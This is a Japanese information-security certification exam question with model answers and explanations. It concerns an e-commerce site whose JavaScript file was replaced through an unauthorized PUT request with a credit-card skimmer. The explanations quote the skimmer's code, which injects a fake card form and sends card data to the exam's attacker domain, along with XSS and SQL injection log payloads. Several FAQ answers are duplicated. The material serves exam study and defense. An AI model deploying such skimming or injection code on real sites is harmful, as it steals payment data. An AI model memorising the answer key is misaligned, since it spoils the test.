情報処理安全確保支援士 2024年 秋期 午後 問03
クレジットカード情報の漏えいに関する次の記述を読んで、設問に答えよ。
J社は、インテリアを扱うECサイト(以下、J社のECサイトをJ社ECサイトという)を運営する、従業員200名の会社である。
〔J社ECサイトの構成〕
J社ECサイトは、Webアプリケーションプログラム(以下、J社ECサイトのWebアプリケーションプログラムをWebアプリPという)、Webサーバ及びDBサーバで構成されている。J社はWebアプリPの開発及び保守、並びにWebサーバ及びDBサーバの構築、管理及び保守をV社に委託している。WebアプリPのアプリケーションログには、アクセス日時、画面名、アカウント名、アクセス元IPアドレスなどが記録される。
J社ECサイトでの支払方法は、クレジットカード決済及び銀行振込に対応している。
クレジットカード決済はD社の決済代行サービスを利用している。D社の提供する決済用ECMAScriptプログラムを使用したトークン型決済を用いて、クレジットカード情報の非保持化を実現している。商品購入に関する画面の概要を表1に、画面遷移を図1に示す。


〔利用者からの問合せ〕
6月11日から12日にかけて、複数の利用者から、クレジットカード情報を入力する画面が2回表示されるという問合せ、及び支払方法が勝手にクレジットカード決済になってしまうという問合せがあった。J社ECサイト担当者のGさんは、偽のクレジットカード情報入力フォーム(以下、偽フォームという)が表示された可能性があると考え、上司のRさんに報告した上で、Webサーバの6月11日のアクセスログに不審な点がないかどうかを確認した。Webサーバの6月11日のアクセスログのうち、不審と思われるアクセスを抽出したものを表2に示す。

次は、アクセスログに関するRさんとGさんの会話である。
Rさん:偽フォームの表示が可能な攻撃の痕跡はあったのか。
Gさん:表2のa行目がb脆弱性を狙った攻撃だと思いますが、そういった攻撃であれば偽フォームの表示が可能です。さらにb脆弱性がc型であれば、1回の攻撃で多数の利用者に対して偽フォームの表示が可能です。
Rさん:それとは別に、表2のd行目はe脆弱性を狙った攻撃の痕跡だと思うが、仮にその脆弱性が存在した場合に、偽フォームの表示は可能なのか。
Gさん:WebアプリPが、DBサーバに格納している情報を基にWebページを動的に生成していれば可能かもしれません。
Rさん:承知した。その他、表2の10行目のPUTメソッドでファイルが更新されている点も気になる。以前、セキュリティベンダーに依頼して報告を受けているWebアプリPの脆弱性診断レポートに、b脆弱性及びe脆弱性の指摘があるかどうかと、PUTメソッドによる更新はV社によるものかどうか、V社に至急確認してほしい。
Gさんは、6月13日にV社に問い合わせた。また、最新バージョンのWebアプリPに対する脆弱性診断レポートを確認したところ、脆弱性の指摘はなかった。
〔偽フォーム表示の原因の調査と対策〕
6月14日にV社から連絡があり、PUTメソッドによるファイル更新はV社によるものではなかったことが判明した。Webサーバに設置していたECMAScriptファイルの一つcustomize.jsが攻撃者のファイル(以下、ファイルKという)に置き換えられていた。customize.jsは、通常時は空のファイルであり、Webサイトのデザインを一時的に変更する際に利用するものである。①配送先・支払方法選択画面でファイルKが読み込まれており、HTMLの一部が書き換えられていた。この書換えによって、②配送先・支払方法選択画面から支払手続画面への画面遷移の処理で利用しているパラメータの値が変更され、支払方法がクレジットカード決済に固定されていた。ファイルKを整形したものを図2に、配送先・支払方法選択画面のHTMLソースを図3に示す。

その後、6月16日にV社から、customize.jsの置換えについての調査結果及び対処の報告があった。その報告を図4に示す。

〔クレジットカード情報の漏えいの調査と対策〕
本件に関する利用者からの問合せは、6月15日21時45分が最後であり、合計32件あった。次は、customize.jsの置換えによる影響の調査に関するRさんとGさんの会話である。
Rさん:クレジットカード情報入力フォームが2回表示されたのは、customize.jsが置き換えられていた影響で偽フォームが表示されたからだったのか。
Gさん:そのとおりです。2回目に表示されたクレジットカード情報入力フォームにクレジットカード情報を入力し、送信している場合だけ、当社で注文が完了していました。
Rさん:ダミーのクレジットカード情報を設定して図2でGETリクエストが送られる先のURLにアクセスしたところ、404のステータスコードが返ってきた。もし、攻撃者のWebサーバが適切なステータスコードを返しているとしたら、この結果から、攻撃者のWebサーバにWebアプリケーションプログラムが用意されておらず、クレジットカード情報は盗まれていないと判断してよいか。
Gさん:③利用者が改ざんされた画面に入力して、クレジットカード情報が送信されてしまったときに、攻撃者のWebサーバでWebアプリケーションプログラムを用意していなくても、攻撃者は利用者の入力したクレジットカード情報を取得する方法があります。クレジットカード情報は盗まれたと判断すべきです。
Rさん:クレジットカード情報の漏えいの可能性について利用者に案内を出したい。攻撃者のWebサーバにクレジットカード情報を送信した利用者を特定してほしい。攻撃者のWebサーバに情報を送信してしまった利用者は漏れなく特定したいが、送信していない利用者はできるだけ含めたくない。そのためには、どのようにすればよいのか。
Gさん:V社の報告から、customize.jsの置換えの影響のあった期間は6月11日13時12分から6月16日9時00分と考えられます。攻撃者のWebサーバにクレジットカード情報を送信する直前までの操作をした利用者を被害者候補として特定するために、その期間のアプリケーションログからfを抽出したいと思います。
Rさん:それで抽出してくれ。
その後、Gさんは、プロキシサーバなどのキャッシュの影響も考慮した上で、被害者候補を特定し、その情報を基に案内を出した。また、J社は、関係当局に報告、届出を行うとともに、V社と協力して再発防止策を検討し、実施した。さらに、Webサーバのファイルの改ざん検知の検討を行うことにした。
設問1:
問題文を見る本文中のa〜eに入れる適切な行番号又は字句を答えよ。
模範解答
a:5
b:クロスサイトスクリプティング
c:格納
d:2
e:SQLインジェクション
解説
解答の論理構成
- 表2を確認
- 行番号「5」にGET /cart?add="><script>document.getElementById(</script> があり、HTMLに <script> を挿入しようとしています。これは【攻撃者がスクリプトを注入して偽フォームを表示】する典型例なので、
• a=「5」
• b=「クロスサイトスクリプティング」
- 行番号「5」にGET /cart?add="><script>document.getElementById(</script> があり、HTMLに <script> を挿入しようとしています。これは【攻撃者がスクリプトを注入して偽フォームを表示】する典型例なので、
• a=「5」
- XSSの型判定
- 会話文に「1回の攻撃で多数の利用者に対して偽フォームの表示が可能」とあります。利用者のブラウザに届く前にサーバ側コンテンツが改ざんされる場合を指すため、XSSの分類は「格納(Stored)型」です。
• c=「格納」
- 会話文に「1回の攻撃で多数の利用者に対して偽フォームの表示が可能」とあります。利用者のブラウザに届く前にサーバ側コンテンツが改ざんされる場合を指すため、XSSの分類は「格納(Stored)型」です。
- もう一つの不審なリクエスト
- 行番号「2」に GET /login?id=hoge&pw=' UNION select 1 FROM があり、' UNION select というキーワードはデータベースクエリを不正操作する典型的な手口です。
• d=「2」
• e=「SQLインジェクション」
- 行番号「2」に GET /login?id=hoge&pw=' UNION select 1 FROM があり、' UNION select というキーワードはデータベースクエリを不正操作する典型的な手口です。
- 以上より模範解答と一致
- a:5
- b:クロスサイトスクリプティング
- c:格納
- d:2
- e:SQLインジェクション
誤りやすいポイント
- 「反射型と格納型の違い」を混同
偽フォームが“多数”に影響→サーバ側で保持される「格納」型と判断します。 - 行番号の読み違い
表2は10行あるので“5行目”と“2行目”を取り違えやすいです。 - SQLインジェクションの見落とし
UNION select を含むので即座に SQLi と気付く必要があります。 - XSSとHTMLインジェクションの区別
スクリプトタグがある=XSS、タグだけならHTMLインジェクションという切り分けが必須です。
FAQ
Q: クロスサイトスクリプティングはすべてのケースで「格納型」が危険なのですか?
A: 「反射型」も十分危険ですが、メールやSNSでURLを配布しないと効果が広がりにくい一方、「格納型」はコンテンツに永続的にスクリプトが残るため被害が広範囲になります。
A: 「反射型」も十分危険ですが、メールやSNSでURLを配布しないと効果が広がりにくい一方、「格納型」はコンテンツに永続的にスクリプトが残るため被害が広範囲になります。
Q: SQLインジェクションが成功した場合、偽フォームの表示も可能ですか?
A: WebアプリケーションがDBの結果をそのままHTMLに埋め込む設計であれば、SQLインジェクションによりXSSスクリプトをDBに書き込み、結果として偽フォームを表示させることが可能です。
A: WebアプリケーションがDBの結果をそのままHTMLに埋め込む設計であれば、SQLインジェクションによりXSSスクリプトをDBに書き込み、結果として偽フォームを表示させることが可能です。
Q: PUTメソッドが許可されていたことは直接XSSと関係しますか?
A: ファイルを置き換える手段として悪用されました。置換えたcustomize.jsによってクライアント側でXSSが実行され、偽フォームが生成されたので間接的には深く関係しています。
A: ファイルを置き換える手段として悪用されました。置換えたcustomize.jsによってクライアント側でXSSが実行され、偽フォームが生成されたので間接的には深く関係しています。
関連キーワード: クロスサイトスクリプティング、SQLインジェクション、HTTPメソッド、アクセスログ、格納型XSS
設問2:〔偽フォーム表示の原因の調査と対策〕について答えよ。
問題文を見る(1)本文中の下線①について、書換え後の画面全体を図示せよ。
模範解答

解説
解答の論理構成
-
書換え対象のページ
本文中の下線①では「配送先・支払方法選択画面でファイルKが読み込まれており、HTMLの一部が書き換えられていた」と記載されています。したがって描画すべきは “/shopping” ページです。 -
何が書き換えられたか
図2のファイルK 1~8行目を引用します。1: if (location.pathname == '/shopping') { 2: let elem = document.querySelector("#shopping-form > div > div > div.order_payment > div.radio"); 3: elem.innerHTML = 4: 'カード番号<input type="text" id="get_number" />' + 5: '有効期限<input type="text" id="get_exp_month" />月<input type="text" id="get_exp_year" />年' + 6: '名義<input type="text" id="get_name" />' + 7: 'セキュリティコード<input type="text" id="get_code" />' + 8: '<input type="hidden" name="order[Payment]" value="1" />';elem.innerHTMLにより、もともと内にあったラジオボタン2個をすべて置き換え、クレジットカード入力欄と <input type="hidden" … value="1"> を挿入していることが分かります。 -
画面のその他の要素
図3の <form id="shopping-form" …> を見ると、タイトルや「配送先」プルダウン、<button type="submit" class="blockBtn">次へ</button> などは改変されていません。したがって
・タイトル:「配送先・支払方法選択」
・配送先プルダウンは元のまま
・支払方法エリアが上記の4項目(カード番号/有効期限/名義/セキュリティコード)に置換えられる
・画面下部には「戻る」「次へ」ボタンが並ぶ
を反映した全体レイアウトを描けば模範解答になります。 -
まとめ
図示する際は「お支払方法」の見出しの下に縦並びで
「カード番号 [テキスト]」
「有効期限 [テキスト]月/[テキスト]年」
「名義 [テキスト]」
「セキュリティコード [テキスト]」
を配置し、下部中央寄りに「戻る」「次へ」の丸みを帯びたボタンを置くことで、ファイルKが注入した偽フォームを正確に再現できます。
誤りやすいポイント
- ラジオボタンと偽フォームが「共存」していると勘違いし、両方を描いてしまう。elem.innerHTMLは元要素を完全に上書きします。
- 「お支払方法」の見出し自体を削除すると考えてしまう。コードは <h2>お支払方法</h2> より内側だけを上書きしています。
- <input type="hidden" name="order[Payment]" value="1"> を図に表現し忘れる。画面には見えませんが、支払方法を固定する重要要素です。
FAQ
Q: ラジオボタンが完全に消える根拠はどこにありますか?
A: 図2 2~4行目でelem.innerHTML = としているため、
A: 図2 2~4行目でelem.innerHTML = としているため、
内の既存HTMLが丸ごと置き換わります。
Q: 隠しフィールドは図示する必要がありますか?
A: 画面上は不可視ですが、支払方法を “1”(クレジットカード決済)に固定する決定的要素なので注記や補足として示すのが望ましいです。
A: 画面上は不可視ですが、支払方法を “1”(クレジットカード決済)に固定する決定的要素なので注記や補足として示すのが望ましいです。
Q: 画面タイトルやボタンは改変されませんか?
A: 図3から分かるように、タイトル部と <button> 要素は書換え対象外です。従来通り「配送先・支払方法選択」「戻る」「次へ」が残ります。
A: 図3から分かるように、タイトル部と <button> 要素は書換え対象外です。従来通り「配送先・支払方法選択」「戻る」「次へ」が残ります。
関連キーワード: DOM操作、JavaScript挿入、フォーム改ざん、Hiddenフィールド、キャッシュバスティング
設問2:〔偽フォーム表示の原因の調査と対策〕について答えよ。
問題文を見る(2)本文中の下線②について、パラメータ名とその値を答えよ。
模範解答
パラメータ名:order[Payment]
値:1
解説
解答の導き方
まず設問が求めているのは、配送先・支払方法選択画面から支払手続画面へ遷移する際に利用しているパラメータの名前と、その値が何に変更されたか、です。図3のフォーム構造と図2(ファイルK)の改変内容を順に確認します。
-
支払方法を表す入力項目の所在と名前を確認する。図3の該当箇所には、クレジットカード決済を表すラジオ入力として「name="order[Payment]" value="1" checked」があり、銀行振込は「name="order[Payment]" value="2"」と定義されています。ここから、支払方法を示すパラメータ名が「order[Payment]」であり、値「1」がクレジットカード決済に対応することが分かります。
-
改ざんされたスクリプト(ファイルK)の振る舞いを見る。図2の内訳ではelem.innerHTMLにカード情報入力の要素とともにname="order[Payment]" value="1" を持つ隠しフィールドが挿入されています(innerHTMLに埋め込まれているhiddenフィールド)。このスクリプトは /shoppingページ上で実行され、フォーム要素(id="shopping-form")に影響を与えます。
-
フォーム送信の経路を確認する。図3のformは 「form id="shopping-form" method="post" action="/payment"」 であり、[次へ] によりこのフォームが /paymentに送信されます。したがってフォーム内に含まれるname="order[Payment]" の値が /payment側で支払方法として扱われます。
-
以上より、ファイルKの挿入により送信されるパラメータとして「order[Payment]」が含まれ、その値が「1」となっていたため、支払方法がクレジットカード決済に固定されたと結論できます。
したがって、該当するパラメータ名はorder[Payment]、その値は1です。
誤りやすいポイント
- name属性とid属性を混同する。HTTPリクエストに乗るのはname属性の値です(idはクライアント側DOM識別用)。
- hiddenフィールドが常に他の同名入力より優先されると断定する。同名パラメータが複数ある場合、ブラウザは複数の値を送信し、どの値がサーバ側で採用されるかはサーバ側のパラメータ解析(フレームワークや実装)に依存します。fileKがラジオ要素を置換している場合は単一の値が送られますが、両方存在する場合はサーバ実装を確認する必要があります。
- ファイルKが /shoppingのみで実行されることを見落とすと、影響範囲の特定を誤る(図2の先頭でlocation.pathname == '/shopping' を判定している点)。
- valueの対応を誤認する。図3でvalue="1" が「クレジットカード決済」に対応している点を確認すること。
FAQ
Q: もし同一のname="order[Payment]" を持つ要素が複数(ラジオとhidden)が存在したら、どちらの値が採用されますか?
A: ブラウザは同名の値を複数送信します。どの値が「採用される」かはサーバ側のパラメータ解析の実装に依存します。つまり、サーバの言語・フレームワークや受け取り側のコードでfirst/lastを選ぶか配列で受け取るかが決まるため、挙動は一律ではありません。検証には実際のサーバ側のログやパラメータ解析仕様の確認が必要です。
A: ブラウザは同名の値を複数送信します。どの値が「採用される」かはサーバ側のパラメータ解析の実装に依存します。つまり、サーバの言語・フレームワークや受け取り側のコードでfirst/lastを選ぶか配列で受け取るかが決まるため、挙動は一律ではありません。検証には実際のサーバ側のログやパラメータ解析仕様の確認が必要です。
Q: なぜ攻撃者は隠しフィールドを挿入したのですか?ラジオのcheckedを書き換える方法と何が違いますか?
A: 隠しフィールドを挿入すれば、ユーザの操作に関係なくフォームにそのname/valueが含まれることを狙えます。ラジオのcheckedを書き換える方法でも同様の結果が得られますが、DOMの置換や隠しフィールド挿入は実装や状態によらず確実にパラメータを送らせやすいため攻撃者にとって手早い手法です。
A: 隠しフィールドを挿入すれば、ユーザの操作に関係なくフォームにそのname/valueが含まれることを狙えます。ラジオのcheckedを書き換える方法でも同様の結果が得られますが、DOMの置換や隠しフィールド挿入は実装や状態によらず確実にパラメータを送らせやすいため攻撃者にとって手早い手法です。
Q: フォレンジックでどのログを確認すれば良いですか?
A: /paymentへのリクエストに含まれるPOSTデータ(applicationログやWebアプリケーションのアクセスログ、サーバ側のパラメータ受信ログ)でorder[Payment] の値を確認します。また図2が攻撃者のGET送信先を生成しているため、ブラウザ側からの外部送信の有無(該当時刻の外部アクセスログ)もあわせて確認します。
A: /paymentへのリクエストに含まれるPOSTデータ(applicationログやWebアプリケーションのアクセスログ、サーバ側のパラメータ受信ログ)でorder[Payment] の値を確認します。また図2が攻撃者のGET送信先を生成しているため、ブラウザ側からの外部送信の有無(該当時刻の外部アクセスログ)もあわせて確認します。
関連キーワード: HTMLフォーム、hiddenフィールド、DOM操作、フォーム送信、複数同名パラメータ
設問2:〔偽フォーム表示の原因の調査と対策〕について答えよ。
問題文を見る(3)図2について、4〜15行目の処理内容を具体的に答えよ。
模範解答
addEventListenerメソッドで配送先・支払方法選択画面のform要素にイベントリスナーを登録し、submit時にクレジットカード情報をクエリパラメータとしてi-sha.comに送信する。
解説
解答の論理構成
-
図2では、攻撃者が配置した「ファイルK」のコードが行番号付きで示されています。そのうち問われているのは「4〜15行目」です。
-
まず「4〜8行目」では、elem.innerHTML = によって
- 「4行目 『<p>カード番号<input type="text" id="get_number" /></p>』」
- 「5行目 『<p>有効期限<input type="text" id="get_exp_month" />月<input type="text" id="get_exp_year" />年</p>』」
- 「6行目 『<p>名義<input type="text" id="get_name" /></p>』」
- 「7行目 『<p>セキュリティコード<input type="text" id="get_code" /></p>』」
- 「8行目 『<input type="hidden" name="order[Payment]" value="1" />』」
を連結し、配送先・支払方法選択画面の支払方法選択部(div.radio要素)のHTMLを丸ごと差し替えます。これにより
• クレジットカード番号等を入力させる偽フォームが表示される
• value="1" のhiddenフィールドで支払方法を強制的に「クレジットカード決済」に固定する
という二つの効果が生じることを説明できます。
-
次に「9行目 『let form = document.getElementById('shopping-form');』」で、配送先・支払方法選択画面のform要素を取得します。図3のHTMLソースに「<form id="shopping-form" ...>」とあるため、ここでそのフォームを指していると分かります。
-
「10行目 『form.addEventListener('submit'、function() {』」で、フォーム送信イベントに対しリスナーを登録し、送信時に攻撃者の処理が走るようにします。
-
「11行目 『const req = new XMLHttpRequest();』」で非同期通信オブジェクトを用意し、以降のカード情報送信用に備えます。
-
「12〜15行目」では、それぞれ
- 「12行目 『let number = document.getElementById('get_number').value;』」
- 「13行目 『let exp_month = document.getElementById('get_exp_month').value;』」
- 「14行目 『let exp_year = document.getElementById('get_exp_year').value;』」
- 「15行目 『let name = document.getElementById('get_name').value;』」
でユーザが入力したカード番号・有効期限(月/年)・名義を取得しています(16行目でセキュリティコードも取得)。この情報は後続行でURLに連結され、「18〜20行目」で示される攻撃者サイト「https://i-sha.com/」へGETリクエストとして送信されます。
-
したがって、4〜15行目の実質的な処理内容は
「配送先・支払方法選択画面に偽のカード入力欄とhiddenフィールドを挿入し、フォーム送信時に入力されたクレジットカード情報を取得できるよう変数に格納する準備をする」
であり、模範解答のとおり
『addEventListenerメソッドで配送先・支払方法選択画面のform要素にイベントリスナーを登録し、submit時にクレジットカード情報をクエリパラメータとしてi-sha.comに送信する』
が導かれます。
誤りやすいポイント
- 4〜8行目を「フォームそのものを新規生成している」と誤解しやすいですが、実際はelem.innerHTMLによる「既存HTMLの丸ごと置換」です。
- 8行目のhiddenフィールドは「支払方法の選択を保持するための通常処理」と見えてしまいますが、value="1" で「クレジットカード決済」に固定する攻撃ロジックです。
- 12〜15行目は「単に値を取得しているだけ」と見落とされがちですが、17〜22行目で外部送信される重要な準備処理となっています。
FAQ
Q: 4〜8行目でinnerHTMLを使うのはなぜ危険なのですか?
A: DOM節点を直接書き換えるため、画面上の表示をユーザが見分けにくい形で改ざんできます。特に支払方法選択部に挿入されるhiddenフィールドはユーザの意図を無視して決済方法を強制できます。
A: DOM節点を直接書き換えるため、画面上の表示をユーザが見分けにくい形で改ざんできます。特に支払方法選択部に挿入されるhiddenフィールドはユーザの意図を無視して決済方法を強制できます。
Q: 12〜15行目で取得した値はどこで送信されますか?
A: 17〜22行目で作成されたURL「https://i-sha.com/?num=...」にGETで送られます。つまりカード情報はクエリパラメータに載せられ、攻撃者サイトに直接転送されます。
A: 17〜22行目で作成されたURL「https://i-sha.com/?num=...」にGETで送られます。つまりカード情報はクエリパラメータに載せられ、攻撃者サイトに直接転送されます。
Q: XMLHttpRequestを使わずにフォーム送信だけで情報が抜かれることもありますか?
A: はい。例えばaction属性を書き換えて攻撃者サイトを指定すれば、フォーム送信だけで情報窃取が可能です。本問ではXMLHttpRequestを使うことでユーザに画面遷移を見せずに情報を外部送信しています。
A: はい。例えばaction属性を書き換えて攻撃者サイトを指定すれば、フォーム送信だけで情報窃取が可能です。本問ではXMLHttpRequestを使うことでユーザに画面遷移を見せずに情報を外部送信しています。
関連キーワード: DOM操作、hiddenフィールド、イベントリスナー、非同期通信、情報窃取
設問3:〔クレジットカード情報の漏えいの調査と対策〕について答えよ。
問題文を見る(1)本文中の下線③について、攻撃者のWebサーバでクレジットカード情報を取得する方法を答えよ。
模範解答
WebサーバのアクセスログのリクエストURIから情報を取得する。
解説
解答の論理構成
-
偽フォームを仕込んだファイルKの動作確認
図2の18~20行目に
https://i-sha.com/?num=' + number + '&exp=' + exp_month + '%2F' + exp_year + '&name=' + name + '&code=' + code;
とあり、利用者が入力したカード情報を クエリ文字列として攻撃者のドメインi-sha.comへ送信しています。 -
ステータスコードに依存しない情報流出
Rさんは「404のステータスコードが返ってきた」と発言していますが、HTTPサーバはリクエストを受け取った時点でアクセスログを残します。ステータスが404でもリクエストライン(メソッド・パス・クエリ)はログに記録されるのが一般的な設定です。 -
Webアプリケーションがなくても取得できる理由
したがって、攻撃者はアプリケーションを配置しなくても、 「Webサーバのアクセスログに残った?num=...&exp=...&name=...&code=...を読めばクレジットカード情報を復元できる」
との結論になります。
誤りやすいポイント
- ステータス404=データ未到達と早合点する
→ ログ出力のタイミングを把握していないと失点します。 - 「POSTでないから安全」と判断する
→ GETでも機密情報が漏れ得ることを忘れがちです。 - Webアプリが必要と考え、スクリプトの有無だけを確認してしまう
→ ログ収集だけで十分に情報窃取可能です。
FAQ
Q: 404以外のステータスなら危険度は変わりますか?
A: ステータスが200でも404でも、クエリ文字列は同じようにログに残ります。危険度はログの取得可否で決まります。
A: ステータスが200でも404でも、クエリ文字列は同じようにログに残ります。危険度はログの取得可否で決まります。
Q: HTTPSならアクセスログにクエリは残らないのですか?
A: HTTPSで暗号化されるのは通信経路であり、サーバ側に到達した後は復号された状態になるため、サーバのアクセスログには平文で記録されます。
A: HTTPSで暗号化されるのは通信経路であり、サーバ側に到達した後は復号された状態になるため、サーバのアクセスログには平文で記録されます。
Q: Webサーバのログ出力を止めれば攻撃は無効化できますか?
A: 取得経路の一つを塞げるだけで、アプリを置かれてしまえば再び情報を奪われます。ログを止めるのではなく不正通信自体を防ぐ対策が必要です。
A: 取得経路の一つを塞げるだけで、アプリを置かれてしまえば再び情報を奪われます。ログを止めるのではなく不正通信自体を防ぐ対策が必要です。
関連キーワード: クエリ文字列、アクセスログ、GETメソッド、HTTPステータス、情報漏えい
設問3:〔クレジットカード情報の漏えいの調査と対策〕について答えよ。
問題文を見る(2)本文中のfに入れる適切な字句を答えよ。
模範解答
f:配送先・支払方法選択画面にアクセスしたアカウント名
解説
解答の論理構成
-
アプリケーションログに何が記録されているか
- 問題文には「WebアプリPのアプリケーションログには、アクセス日時、画面名、アカウント名、アクセステIPアドレスなどが記録される。」とあります。
- したがって、画面名とひも付いた「アカウント名」を抜き出せば、どの利用者がどの画面にアクセスしたかが分かります。
-
偽フォームが読み込まれるタイミング
- 攻撃用の「customize.js」は「①配送先・支払方法選択画面でファイルKが読み込まれており、HTMLの一部が書き換えられていた」と説明されています。
- つまり、被害を受ける最初のポイントは「配送先・支払方法選択」画面にアクセスした瞬間です。
-
どんなログを抽出すれば“被害者候補”を絞れるか
- Gさんは「攻撃者のWebサーバにクレジットカード情報を送信する直前までの操作をした利用者を被害者候補として特定するために、その期間のアプリケーションログからfを抽出したい」と述べています。
- 直前の操作とは「配送先・支払方法選択」画面の表示なので、そこにアクセスした利用者の「アカウント名」が必要です。
-
結論
- したがって f に入る語句は「配送先・支払方法選択画面にアクセスしたアカウント名」です。
誤りやすいポイント
- 画面遷移を追わずに「支払手続」画面のログを抽出しようとする。偽フォームはその前段階で読み込まれるため誤りです。
- IPアドレスやUser-Agentで絞り込もうとする。これらはキャッシュや共有端末の影響を受けやすく“漏れなく特定”という要件を満たしにくいです。
- 期間条件を無視して全期間のログを抽出してしまい、不要な利用者まで被害者候補に含めてしまう。
FAQ
Q: なぜ「支払手続」画面ではなく「配送先・支払方法選択」画面を基準にするのですか?
A: 問題文の「①配送先・支払方法選択画面でファイルKが読み込まれており」とあるように、偽フォームを仕込むスクリプトがここで実行されるからです。
A: 問題文の「①配送先・支払方法選択画面でファイルKが読み込まれており」とあるように、偽フォームを仕込むスクリプトがここで実行されるからです。
Q: IPアドレスでなくアカウント名を使う利点は?
A: スマートフォン回線やプロキシ経由ではIPアドレスが変動・共有されるため、個別利用者の特定精度が落ちる一方、アカウント名は利用者固有なので精度が高いです。
A: スマートフォン回線やプロキシ経由ではIPアドレスが変動・共有されるため、個別利用者の特定精度が落ちる一方、アカウント名は利用者固有なので精度が高いです。
Q: キャッシュの影響とは何ですか?
A: 改ざんファイルがブラウザやプロキシに残っていると、置換え解除後も偽フォームが表示される場合があります。期間設定と合わせてキャッシュ制御を考慮する必要があります。
A: 改ざんファイルがブラウザやプロキシに残っていると、置換え解除後も偽フォームが表示される場合があります。期間設定と合わせてキャッシュ制御を考慮する必要があります。
関連キーワード: XSS, PUTメソッド、キャッシュバスティング、アプリケーションログ




